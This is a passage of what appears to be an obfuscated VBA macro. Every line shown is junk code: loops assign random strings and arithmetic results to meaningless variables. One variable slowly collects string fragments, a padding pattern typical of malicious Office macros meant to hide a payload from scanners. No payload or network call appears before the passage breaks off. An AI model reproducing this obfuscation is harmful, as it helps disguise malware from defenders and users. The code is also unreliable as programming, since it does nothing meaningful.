            VYGbvuHmMFO = 1092 + 1549 + 132
            VYGbvuHmMFO = 1926 + 395 + 452
            DyslwH = LTrim("N!]uc ^h^n?]QD y")
            VYGbvuHmMFO = UCase("   LXV!m^YHF_QZM SN")
            VjxwqfHuryPu = UCase("jb -pm%fP pq  (Ff .")
            GdCveKehl = Right("I szm.  Z ", 2)
            MNoVBPHMpjVB = 1188 + 1099 + 1430
            DyslwH = StrReverse("nKW]R a![X")
            VjxwqfHuryPu = StrReverse(" ljmd @Fme(U")
            MNoVBPHMpjVB = StrReverse(" T&  j]]dS")
            GdCveKehl = RTrim("?%HYU el-g i")
            pKBnoxcBp = RTrim(" F fz XtMlqmgzjKZ  p")
            VYGbvuHmMFO = 1922 + 149 + 997
            MNoVBPHMpjVB = UCase("Td o)ONa )Jg^Z   ")
            VjxwqfHuryPu = Space(10)
            VjxwqfHuryPu = UCase(" To   @]#ZK#aM")
            NiGUvBibAW = RTrim("d   %h?OZ?xQ Cs   fE")
            VjxwqfHuryPu = Space(16)
            yrwLln = yrwLln + 1
        Wend

        NiGUvBibAW = Space(16)
        pKBnoxcBp = Right("nA l T&sQZ  iDl ", 4)
        NiGUvBibAW = LTrim("Gui[TK A ^a.SC Sl [H")
        SAMgqjB = Space(14)
        VYGbvuHmMFO = Space(12)
        GdCveKehl = "#Rbsp R qnHC " + "dTS W)?Ic-dE  VB " + " fPlz? JbB]"
        DyslwH = StrReverse("  v i tAqhy%")
        DyslwH = StrReverse("  o oq]bRl ^ m^xH")
        NiGUvBibAW = UCase("]$ mW? l h ")
        DyslwH = Left("G U H)Y]Kz[", 3)
        pKBnoxcBp = 862 - 1450 - 590
    Next quvhCg

    jDYIzOUaJW = 1794 + 1964 + 1813
    DyslwH = StrReverse("EbN?a U- Cw   #a")
    While aQMPgB < 4
        For ziHuKZ = 0 To 6
            DyslwH = "AhKHP]_     q&ueT S" + "^ G DzmhRgyDJzd g(" + "  BtLa  EH q-  "
            fPExAI = RTrim("?s iKe@[v F v[.v")
            VjxwqfHuryPu = Left("m.xUX   .( JD", 3)
            DyslwH = "-kLP G&Z BUA" + "Rd -z$ztbE)vPb" + "EBGi TR!k!]RdExJ[)tw"
            VYGbvuHmMFO = Right("M!RG  Hc WkS#Z", 4)
            jDYIzOUaJW = 403 - 1891 - 1118
            MNoVBPHMpjVB = 199 + 677 + 1854
            jDYIzOUaJW = Left(" xNvwExZ)X#Pc ", 4)
            VYGbvuHmMFO = UCase("VMTj  JuNC")
            MNoVBPHMpjVB = 208 - 419 - 1054
            VYGbvuHmMFO = Left("bht U     Tu%", 2)
            VjxwqfHuryPu = LTrim("TT  lHjve @q v UgiTq")
            VYGbvuHmMFO = StrReverse("s MmS#r? $i  X_")
            SAMgqjB = UCase("%. nNI) .s&!")
            MNoVBPHMpjVB = LTrim(" rqcVaR pGf@iq_WhQo")
            GdCveKehl = Space(1)
            VjxwqfHuryPu = LTrim(" ^MvyHkG  (VGk Ts  ")
            DyslwH = StrReverse(" Nzv dh$ b(?d Qs")
        Next ziHuKZ

        GdCveKehl = "Zx.w zdIPT-lRd" + "ww&bJ Xi !" + "YXsID _leiIW^@e"
        pKBnoxcBp = Right(" U[ Q pt  %ib", 4)
        NiGUvBibAW = UCase("Yy  p  O@]-  s c]]e")
        GdCveKehl = Right(" PkE a dgv T f#fx GT", 5)
        DyslwH = Space(3)
        GdCveKehl = Space(18)
        MNoVBPHMpjVB = Space(18)
        SAMgqjB = LTrim("z e?lEN is")
        SAMgqjB = Right("  [  V T# mY&", 5)
        SAMgqjB = 420 + 1346 + 1592
        DyslwH = LTrim("vEl BV ( Y t#t")
        GdCveKehl = LTrim("O%Wu[o m(n")
        NiGUvBibAW = " _# Fw^sE  d^te" + "Nxu#[eb zyV" + "f@-pHS Ejkz"
        pKBnoxcBp = Space(16)
        DyslwH = UCase("G@F MN KS^  dK@pj] ")
        MNoVBPHMpjVB = "@tt# Qho- mPc" + " ULEfq_I[?@  Uc B" + " y  iNTQTU)"
        jDYIzOUaJW = "kEvz  M  %RBd b" + " e p x G #a .LLcPE" + " AoS!]@AFt y_"
        fPExAI = Space(14)
        jDYIzOUaJW = LTrim(" y OXf csElTFer")
        aQMPgB = aQMPgB + 1
    Wend

    GLPSCe = GLPSCe + " kDX "
    pKBnoxcBp = StrReverse("sr?w [jIzQEQ")
    VjxwqfHuryPu = Left("!-$TMp&lqEVe&", 2)
    DyslwH = Space(5)
    While OvzQFy < 3
        NiGUvBibAW = StrReverse("tY^  X(tS! tuW @wZ")
        VjxwqfHuryPu = Space(8)
        pKBnoxcBp = Space(10)
        VjxwqfHuryPu = 1289 + 586 + 581
        DyslwH = StrReverse("! IEV ?D.a#EB")
        MNoVBPHMpjVB = UCase("J kj!?t@ O UV(_U!IH")
        SAMgqjB = StrReverse("wXZs r@Sk ")
        jDYIzOUaJW = Space(17)
        OvzQFy = OvzQFy + 2
    Wend

    While CICRFU < 2
        SAMgqjB = 977 + 120 + 245
        VYGbvuHmMFO = UCase("kXT(Mv!Vpm_zrua NM ")
        VjxwqfHuryPu = "Y   tw  ?@Kx dZATc  " + "Egu -tVuFY" + "cDt    a vC"
        VYGbvuHmMFO = LTrim("A fq VKUKxNNiB @   ")
        fPExAI = Space(17)
        VjxwqfHuryPu = StrReverse("   cIb.J% ")
        DyslwH = 712 + 1052 + 889
        NiGUvBibAW = StrReverse("I O$D&C?ENL ) .Ja&")
        fPExAI = LTrim("# GxEY Cj U NartOSOP")
        NiGUvBibAW = Left("TQ  fNOlj s^ xzHr.", 5)
        fPExAI = Space(19)
        GdCveKehl = Right("  OWvcK&z-Z JP rJU", 3)
        VjxwqfHuryPu = 1127 - 435 - 871
        jDYIzOUaJW = 1518 + 173 + 294
        DyslwH = Space(9)
        VjxwqfHuryPu = StrReverse("ktVY D)]qs ")
        fPExAI = RTrim("&[ K u%R WPUK(nb (")
        CICRFU = CICRFU + 3
    Wend

    jDYIzOUaJW = "vsoj-eQTr_k^ ZIaE )A" + "Z@ VR  & gye" + " GAT X -ovJLu dEizt%"
    GLPSCe = GLPSCe + "UcJQ "
    MNoVBPHMpjVB = Space(9)
    While xDnXkB < 2
        NiGUvBibAW = Left("P! (%w @ )cS nUfn", 3)
        NiGUvBibAW = 970 - 711 - 1792
        DyslwH = Left("z PhTc Sql ( Or dM G", 3)
        VYGbvuHmMFO = "Ga   eqi] " + "VtX  S o  PgCWh" + "-  u^    VF%BN $"
        GdCveKehl = 1671 + 1271 + 1835
        fPExAI = Left("]kj.Ml!F$w[", 3)
        VYGbvuHmMFO = "HNy C rEeh" + "v YM AoJa ze)b" + "[zgV sVwIovd V "
        fPExAI = Right("y DKR  IE )     _]", 2)
        GdCveKehl = RTrim("mHV# NCr  AefNSRJUA]")
        VYGbvuHmMFO = UCase(" m$fs-.QMoZ S")
        xDnXkB = xDnXkB + 3
    Wend

    DyslwH = Right("@HcnLEAHcZYb", 4)
    DyslwH = " uQ  Hiy [TnRz" + "rk  Ho?i .(d[" + "fj UUh XZ I"
    NiGUvBibAW = Space(16)
    For TTnCgY = 0 To 10
        VjxwqfHuryPu = 1729 + 427 + 1313
        VYGbvuHmMFO = RTrim(" Gs?glSwY  z")
        DyslwH = UCase(" ]ja LBWe ][Zx  k")
        fPExAI = Space(18)
        jDYIzOUaJW = 1870 - 966 - 644
        jDYIzOUaJW = 1386 - 906 - 1604
        DyslwH = Space(8)
        NiGUvBibAW = 830 - 1573 - 549
        fPExAI = UCase("viDe. j BF")
        fPExAI = 1948 + 258 + 1889
        DyslwH = 1578 - 1156 - 383
        MNoVBPHMpjVB = 607 + 923 + 1045
        VYGbvuHmMFO = StrReverse("nq@ XCkYAa")
        VjxwqfHuryPu = UCase("!.  NFXM  yq  Hdy")
        MNoVBPHMpjVB = Right("  t&  D $mO uwa", 2)
        SAMgqjB = "JcsNQ- X #b" + ". UuR  W?Y^" + "-#d QRg   U^(V"
        fPExAI = "pWGv!fuI@E" + "^ vrnMd[ S[^  k e l" + "$e qN   R?tu ctS jJ?"
        DyslwH = 1990 - 1031 - 1054
        SAMgqjB = Space(13)
        VYGbvuHmMFO = 1996 - 738 - 573
    Next TTnCgY

    For zOTfim = 0 To 5
        VYGbvuHmMFO = Right("H]%.o r xmp_ ^x ", 4)
        NiGUvBibAW = Left("d$]RE  [b F JV", 3)
        pKBnoxcBp = " ixZ)m wy yXZnPfr" + "eeVzF  D n" + " cX Vh YdSV"
        jDYIzOUaJW = Right(" _)  aTgY w) ylk  ", 2)
        SAMgqjB = StrReverse("S kc   %Bt v# F")
        DyslwH = Right("bE M [ t_B_", 3)
        fPExAI = " Kdt w  YpZ" + "RHK.gp KMCD" + "#Ul-f  O) x"
        MNoVBPHMpjVB = Space(14)
        fPExAI = "z#x@icmu .hh! M c w" + "AC  tCu)vwY(" + "h[YWdE   % "
        DyslwH = Space(13)
        VYGbvuHmMFO = "z fSoL vfq" + "K u k#X nqR lLQ" + " WIZPRHdbi   "
        MNoVBPHMpjVB = 231 + 1954 + 955
        SAMgqjB = 1828 - 1936 - 720
        SAMgqjB = LTrim("&WC _Z) o@ ")
        GdCveKehl = StrReverse("P_$hyK h@KyYIW f")
        SAMgqjB = StrReverse("RRgN$$V HAHyLC")
        MNoVBPHMpjVB = RTrim("_ fz[&f cv_ & M btH")
        fPExAI = UCase("FdV!pYH( E")
        VYGbvuHmMFO = 214 + 1620 + 1717
    Next zOTfim

    GLPSCe = GLPSCe + "^XS X"
    For GznOkO = 0 To 4
        For PhNDpP = 0 To 7
            VjxwqfHuryPu = " X    y   " + "!gGlGD  Pm- " + "Oy ?vH % X # de_ MZ%"
            jDYIzOUaJW = Left("Ou ST j Eg hg!u]", 2)
            GdCveKehl = StrReverse("GTQ er$O qi  ED")
            VYGbvuHmMFO = LTrim("z %RhUm[g!Y &[ ")
            fPExAI = RTrim("    jW w.FDl%")
            fPExAI = Right("%WX%[_oyZ  xl f UfA", 3)
            VjxwqfHuryPu = "N (%hn igO  lK. .A? " + "mx..$  muQ raYp " + " Np)%j  E! ]"
            jDYIzOUaJW = UCase("  mM!mU) alcuE  g M-")
            fPExAI = Left("xxN Q p_ C HNKV t", 5)
            GdCveKehl = 1354 - 1777 - 506
            VjxwqfHuryPu = RTrim("?& j#c QPaRqU  ")
            VYGbvuHmMFO = LTrim("[cg(dN_ lyk[")
            NiGUvBibAW = 1485 - 471 - 552
            fPExAI = 1478 - 1540 - 1919
            VYGbvuHmMFO = StrReverse("]w P&IBvtQHb pp  ")
            MNoVBPHMpjVB = LTrim(" tz   x slM#U")
            MNoVBPHMpjVB = StrReverse("NgQfnp .  NW$ VyT yV")
            NiGUvBibAW = 452 + 771 + 281
            VjxwqfHuryPu = Space(15)
            fPExAI = LTrim(" soavZ tCu")
        Next PhNDpP

        SAMgqjB = RTrim("SLA fi(MdS")
        fPExAI = Left("LMT(vRnT)fJOA#Kl  z", 3)
        VYGbvuHmMFO = StrReverse("nhDDqhl Xk ]")
        VjxwqfHuryPu = StrReverse("B  tyIHvQB lbs_")
        GdCveKehl = LTrim("H )Zl -NID rl?Gwn ")
        GdCveKehl = "wBvOAx qD Eq^ZPBn" + " hG    &mH " + "Q vbmu  LPyP PQy"
        VjxwqfHuryPu = 346 - 1885 - 1808
    Next GznOkO

    NiGUvBibAW = RTrim("Kxy  Gn- SGYO d")
    pKBnoxcBp = 1548 - 683 - 522
    jDYIzOUaJW = LTrim("p)J-QVg% jfU")
    pKBnoxcBp = RTrim(" OW%&FAD#MNG_QbV")
    pKBnoxcBp = "[ XFnJsYa !" + "MX]Fh j tW x g!e ^" + "XYqw   hioB  "
    SAMgqjB = 260 + 875 + 1475
    DyslwH = UCase("  c[ T^aDw q@e  w Yt")
    While JFULPl < 2
        While xDkmPp < 3
            MNoVBPHMpjVB = UCase("D !)XQ(% N&GHa")
            jDYIzOUaJW = Right("KJi t C  i", 2)
            DyslwH = StrReverse("ccY xA]_TXcLm")
            jDYIzOUaJW = UCase("  aP^L- DY([ !MA OM")
            NiGUvBibAW = StrReverse("  _.!&Wud]xWX ")
            pKBnoxcBp = Left("Y%t[ Qx X Oq?J", 4)
            xDkmPp = xDkmPp + 3
        Wend

        fPExAI = 598 - 696 - 1556
        MNoVBPHMpjVB = 1859 + 499 + 111
        GdCveKehl = LTrim("dA.cr)aDb#)")
        VjxwqfHuryPu = 1093 - 1133 - 616
        VYGbvuHmMFO = Space(13)
        MNoVBPHMpjVB = 258 - 401 - 1080
        DyslwH = UCase(" gMQK-OEBq nagCjX?#n")
        jDYIzOUaJW = Left("$yN ](F!KVO", 2)
        VjxwqfHuryPu = UCase(" _ O-MLYfm) l")
        NiGUvBibAW = Left("feA_j Y  ^e  d# V[i ", 2)
        JFULPl = JFULPl + 1
    Wend

    MNoVBPHMpjVB = Left("qJ q_!o dK[", 2)
    GLPSCe = GLPSCe + "if FZ"
    GdCveKehl = 1274 + 1385 + 187
    NiGUvBibAW = Left("hdV u iJkP- ip ", 3)
    GdCveKehl = LTrim("nmS ] ryKdS")
    MNoVBPHMpjVB = 1015 + 576 + 1571
    VYGbvuHmMFO = Left("^#  pbI ]Bm  Y[XE", 3)
    GLPSCe = GLPSCe + "F#wRB"
    NiGUvBibAW = UCase("^t V J ]$qSMGC?eA")
    SAMgqjB = 1159 + 1606 + 1037
    While JvISgr < 2
        NiGUvBibAW = RTrim("fMQc ^$nBscIQ Cd")
        DyslwH = Left("xzFP qZ B^jP!oCH]n", 5)
        fPExAI = StrReverse("AYZ WDNavgM^U")
        jDYIzOUaJW = RTrim("G yWth l !HEXI^t")
        fPExAI = RTrim("? _V^ DR^Pf!L")
        pKBnoxcBp = Right(" q yy Z tzs# ]rR KV", 5)
        VjxwqfHuryPu = Left("ZV(W#.CzySWZHvY", 5)
        pKBnoxcBp = Space(11)
        fPExAI = Space(7)
        VjxwqfHuryPu = 1899 + 1625 + 1950
        GdCveKehl = StrReverse("(jsO  C VEsVN")
        NiGUvBibAW = LTrim("&U^ l  spzT")
        DyslwH = LTrim("j $zUPF % S V-")
        VjxwqfHuryPu = 1833 + 422 + 1014
        NiGUvBibAW = LTrim("yQ . &#r i")
        JvISgr = JvISgr + 3
    Wend

    jDYIzOUaJW = "EC?Kaj!h Hedw" + " Yoe (pGjlYa!qe k " + " pj_W-r %Z He L"
    VYGbvuHmMFO = 1954 - 1622 - 473
    GdCveKehl = UCase("Yn%OQIbIM[n&  U_#MB ")
    SAMgqjB = 1222 - 732 - 1632
    SAMgqjB = LTrim("ytMLd cQIrg^hwb  ")
    GLPSCe = GLPSCe + "JuxM?"
    MNoVBPHMpjVB = RTrim("a  Mmrr pf($m")
    For veFKHn = 0 To 7
        MNoVBPHMpjVB = Left("YQ vK am%  VSOBFWR ", 4)
        MNoVBPHMpjVB = Space(15)
        fPExAI = 1153 + 129 + 554
        pKBnoxcBp = 1031 - 762 - 1777
        VjxwqfHuryPu = Left("pI[Po!&vuT! ", 2)
        SAMgqjB = Space(6)
        VYGbvuHmMFO = " O) pAic m [ " + "lIE   [XDrzhLL& (" + " z .pGUin[@[!uy _K.X"
    Next veFKHn

    For dFpRyi = 0 To 2
        For slsaTc = 0 To 9
            VYGbvuHmMFO = " G^pb- ?    #" + "uA[HW  NmQ^rR" + "s J R!F GMFG?"
            NiGUvBibAW = StrReverse("LH  ?bHGRa VV&S-b hP")
            pKBnoxcBp = Space(7)
            VYGbvuHmMFO = UCase("! [yf !Vt@JpNsh ")
            SAMgqjB = Right("WW   [UfX Fn  DJ]YYi", 4)
            GdCveKehl = RTrim("T-yW)Xkn LuRha[ o")
            NiGUvBibAW = "-JjYz@  ^ D?%Q[n" + "pbXRG  amIjrA.(P" + "  xPY Hh?HB"
            SAMgqjB = 1753 + 432 + 1933
            VYGbvuHmMFO = RTrim("y LR$]N z #yQt?sRww")
            VYGbvuHmMFO = 903 - 876 - 110
            VYGbvuHmMFO = 692 + 1860 + 947
            VjxwqfHuryPu = "tk VAM iM u R#V" + " e#Dx&tVL OWL#  X" + "m@- c Fo Hk "
            GdCveKehl = RTrim("?uY  wc u^Xhc )) p")
            SAMgqjB = 1007 + 1053 + 1399
            fPExAI = LTrim("G  Z sGVRy($n ZX c! ")
            MNoVBPHMpjVB = 616 - 1371 - 1513
            SAMgqjB = Left("m dsqO$% A  (B  ", 2)
            VYGbvuHmMFO = Left("_].  NxlC&OL XkU", 3)
            SAMgqjB = RTrim("-  DQ#_M ]w")
            NiGUvBibAW = Space(7)
        Next slsaTc

        MNoVBPHMpjVB = LTrim("chdS w M j$ ?hX ")
        DyslwH = Left("H)[)x?i -g ", 3)
        MNoVBPHMpjVB = "   ! C  i((iMBTCMy" + "yH xMIZC@ " + "zA  o.  ^Ko yDGE"
        DyslwH = LTrim("  # G  -pxT]fPB.^j(!")
        MNoVBPHMpjVB = RTrim("!jovkj R-uM  tf")
        VYGbvuHmMFO = Right("y v Vq   DxBh", 2)
        MNoVBPHMpjVB = StrReverse("i[ _xhGwbmg fDu-O  ")
        MNoVBPHMpjVB = 1228 + 1499 + 731
        MNoVBPHMpjVB = LTrim("d&)rXzAx#e_YIkX")
        fPExAI = 1503 - 1317 - 636
        jDYIzOUaJW = Left("Xmq] iGH[j(F  C e  ", 4)
        DyslwH = Left("-C]xJ  z-_ac$iY ", 4)
        fPExAI = UCase("I?M rhxa_VU jT")
        VYGbvuHmMFO = LTrim(" y(^? (N   &WJ]o Y")
        VYGbvuHmMFO = RTrim(" k Zo waVR Q%")
    Next dFpRyi

    For hjOlOK = 0 To 9
        NiGUvBibAW = Space(15)
        MNoVBPHMpjVB = StrReverse("Y$yH Ijd j]F^^g Kg")
        NiGUvBibAW = "oLgmn g !V " + "h aG XK Jr" + "c%RSVw  Wb  "
        VjxwqfHuryPu = "t $%EZv  T [W-N" + " #?p .A   T  $x  %" + " V Su_ (re ]e(dZdR"
        GdCveKehl = Right("v  F(RwWNWu ig j?", 3)
        MNoVBPHMpjVB = Right("%& k%pj nC#!u  q  r", 2)
    Next hjOlOK

    NiGUvBibAW = Space(7)
    GLPSCe = GLPSCe + "b.PEd"
    VjxwqfHuryPu = LTrim(" gWy y WO(  O@ ]X   ")
    pKBnoxcBp = Left("- DSPDE[z _#OUas ", 3)
    VjxwqfHuryPu = " ugAB  [g " + "IZ      TeyoQ ds" + "crjpA..v g  V "
    NiGUvBibAW = RTrim("j _   jum Eh]&E Y")
    GdCveKehl = RTrim("^o$mPKLE k Y!mjMx")
    jDYIzOUaJW = UCase("OwwSmph_rdSk")
    GLPSCe = GLPSCe + "eryax"
    For ZoCvOU = 0 To 7
        SAMgqjB = Space(8)
        MNoVBPHMpjVB = Right("?yCGXPX KR", 3)
        pKBnoxcBp = 1715 - 269 - 552
        DyslwH = UCase("]$^TKJ-yH AhR K m N")
        GdCveKehl = UCase("F  m@mz ]w-  ). BrT ")
        jDYIzOUaJW = Right(" OEd xiykyVEzsVPx#", 2)
        GdCveKehl = 1639 + 1543 + 1785
        jDYIzOUaJW = LTrim("q-& tMYG y    G")
        pKBnoxcBp = "w&?f@% eeP!CVi" + ". [EhP%  uO" + "wB xee-DlyT# Ui s"
        DyslwH = 139 - 1371 - 574
        jDYIzOUaJW = Right(" q -CYf   Q ", 3)
        MNoVBPHMpjVB = UCase("OY RHm] w_]vgaxxj")
        MNoVBPHMpjVB = UCase(" )au Jlm ! NQ XS ")
        GdCveKehl = "^ ?f .yc v - w " + "F O oM Q ." + " fIf)[iXJ#?&&y"
        SAMgqjB = Left("Egxuyz-  %", 3)
    Next ZoCvOU

    pKBnoxcBp = LTrim("r  G ?Q_VbhP")
    SAMgqjB = Space(16)
    For eafSfs = 0 To 4
        For HTSeJH = 0 To 10
            SAMgqjB = 733 - 1190 - 1920
            VYGbvuHmMFO = StrReverse(" - mD?A ) ")
            SAMgqjB = LTrim(" Tg$nH?hA^Tnt")
            jDYIzOUaJW = LTrim(" TAkgnL$Y(r%ho")
            jDYIzOUaJW = RTrim("    ( v  #(y ")
            SAMgqjB = UCase(" Q e uoCsvio(")
            fPExAI = StrReverse("ecyogAO. A ADU ")
            GdCveKehl = RTrim("fa !Pi trv!^ ")
            MNoVBPHMpjVB = Left("rywUB #JsaN  P)b  K", 3)
            pKBnoxcBp = Right("GGD]s .E LbagT-^PL", 2)
        Next HTSeJH

        VjxwqfHuryPu = Space(12)
        GdCveKehl = StrReverse("c OS wniwO ^ ")
        GdCveKehl = UCase(" y TL Pe @UpK    S$ ")
        DyslwH = Right("hxCCZ bScgrO  Pv E", 5)
        GdCveKehl = 723 + 1465 + 1649
        GdCveKehl = 1293 + 1253 + 1152
        jDYIzOUaJW = LTrim(" w T[V& $[J#rGMjB")
        VYGbvuHmMFO = "f  th xqyY_q" + "e(kFaJ q[NdjEJI" + "PYy[rEhm yh]o  usTqS"
        SAMgqjB = Space(10)
        GdCveKehl = Left("!m Mf$oj ]RXd", 5)
        NiGUvBibAW = UCase("KI G - .    j.LQT")
    Next eafSfs

    pKBnoxcBp = Left(" GB Q$UyMn xuJU A", 4)
    NiGUvBibAW = StrReverse("^jbxpfCG&x?dV")
    DyslwH = LTrim("&p   b $Lf!")
    pKBnoxcBp = Space(2)
    jDYIzOUaJW = StrReverse(" HbM QNNxO  My&-M")
    VYGbvuHmMFO = UCase("MWVeS   E_?t dhM")
    GLPSCe = GLPSCe + " XleN"
    jDYIzOUaJW = StrReverse("(Y QxV ddu t-hTgD")
    pKBnoxcBp = Right("D A@SRZ.AOukVEI", 4)
    DyslwH = 1281 - 1232 - 997
    VjxwqfHuryPu = Space(19)
    MNoVBPHMpjVB = Space(2)
    GdCveKehl = 370 + 733 + 315
    MNoVBPHMpjVB = " o[?PW w_r  h" + "[yGd)xr  tV   lo" + "Uj EI Z^# x"
    GLPSCe = GLPSCe + "@ "
    NiGUvBibAW = 364 + 153 + 1342
    fPExAI = LTrim("M&  #%hT e . ")
    While nslppa < 3
        While AGfRFd < 4
            MNoVBPHMpjVB = 1998 + 982 + 340
            fPExAI = RTrim(" U-sWuS _st tv")
            MNoVBPHMpjVB = 376 + 1620 + 1487
            NiGUvBibAW = RTrim(" QRk(a SEyTc! ")
            GdCveKehl = 548 - 1329 - 155
            jDYIzOUaJW = Left(" Jd  fnyT cl(FO qgo?", 5)
            VjxwqfHuryPu = StrReverse(")tbZN Z& (v p!A&ex")
            MNoVBPHMpjVB = LTrim("Mfzl  SKkaIM ")
            VYGbvuHmMFO = Space(15)
            VjxwqfHuryPu = UCase("BTTbT! u   xc ^ H.p")
            MNoVBPHMpjVB = 385 - 106 - 178
            DyslwH = RTrim("i&dsw)Gk?np mSQO[")
            SAMgqjB = LTrim("NHBF] l ($x  %")
            GdCveKehl = StrReverse("   DHkzudB ZCdh  . ")
            AGfRFd = AGfRFd + 2
        Wend

        GdCveKehl = RTrim("nFQe   DtkEhx")
        jDYIzOUaJW = 878 - 1219 - 437
        jDYIzOUaJW = RTrim("!Zm u _ Ra")
        NiGUvBibAW = 1591 + 1634 + 1300
        pKBnoxcBp = "IJBU .   [O" + "  yGda$ Cx ?_ %uGCu " + "]-  -UY u(I P  Z "
        NiGUvBibAW = Space(8)
        DyslwH = Left("t!idKot    ", 4)
        DyslwH = 385 - 1618 - 663
        jDYIzOUaJW = 1428 + 351 + 370
        fPExAI = RTrim("^oPB IEoqT %GS aSVP")
        jDYIzOUaJW = LTrim("U  XBM u sFWa ")
        pKBnoxcBp = LTrim("o jF  qT I %VhZ   n")
        pKBnoxcBp = 710 - 479 - 553
        SAMgqjB = "u)&fQ (  Y %^&" + "Xf e(XRdCKP O$k Rjsf" + "T-_ ?h -Dx"
        SAMgqjB = Space(17)
        nslppa = nslppa + 3
    Wend

    While phKezK < 2
        NiGUvBibAW = UCase(" ! ID Mb %")
        DyslwH = 1160 + 1287 + 1779
        pKBnoxcBp = 1938 - 400 - 1797
        MNoVBPHMpjVB = Space(4)
        VjxwqfHuryPu = 1729 - 1633 - 1737
        SAMgqjB = 983 + 370 + 1055
        MNoVBPHMpjVB = "Hf Bymjlm cC@K o?" + "%  jo f jH[Q( ] C" + "  _XvZz!GWM"
        pKBnoxcBp = 1512 - 1649 - 136
        pKBnoxcBp = Right("  ZTVc DFMoHP P", 5)
        fPExAI = LTrim(" G)% Vs Y@lb  . A")
        DyslwH = Space(17)
        MNoVBPHMpjVB = 544 - 1865 - 747
        VjxwqfHuryPu = Space(17)
        VYGbvuHmMFO = 589 - 812 - 464
        GdCveKehl = LTrim(" pnn& S fXfWEgC YP")
        SAMgqjB = Space(3)
        VYGbvuHmMFO = UCase("   r OCoY-]")
        DyslwH = Right("D ctL% $  Xls", 4)
        phKezK = phKezK + 1
    Wend

    SAMgqjB = Right("@gj_ L  V  vJnH(", 3)
    For wCxNuY = 0 To 5
        While waeDpF < 5
            DyslwH = Left("l YYb mbyljT ^Yl", 4)
            VYGbvuHmMFO = Space(7)
            NiGUvBibAW = RTrim(". dJ? ( UNA^")
            fPExAI = RTrim("j GQ^BdMWCjdndyQEA")
            MNoVBPHMpjVB = Right(" x  XC    Wb  Fp", 4)
            SAMgqjB = UCase("Kci?fARAl!SxPJGlS   ")
            jDYIzOUaJW = Right("ogJ. t. y#X Eu mft", 3)
            NiGUvBibAW = "OuGTc %fl$M(" + "[h ly S!v i " + "W@XcO[j[A_U-"
            fPExAI = LTrim("AQl    P ]r ")
            MNoVBPHMpjVB = RTrim(" #Yk%wM Itv")
            GdCveKehl = 1984 + 1605 + 1579
…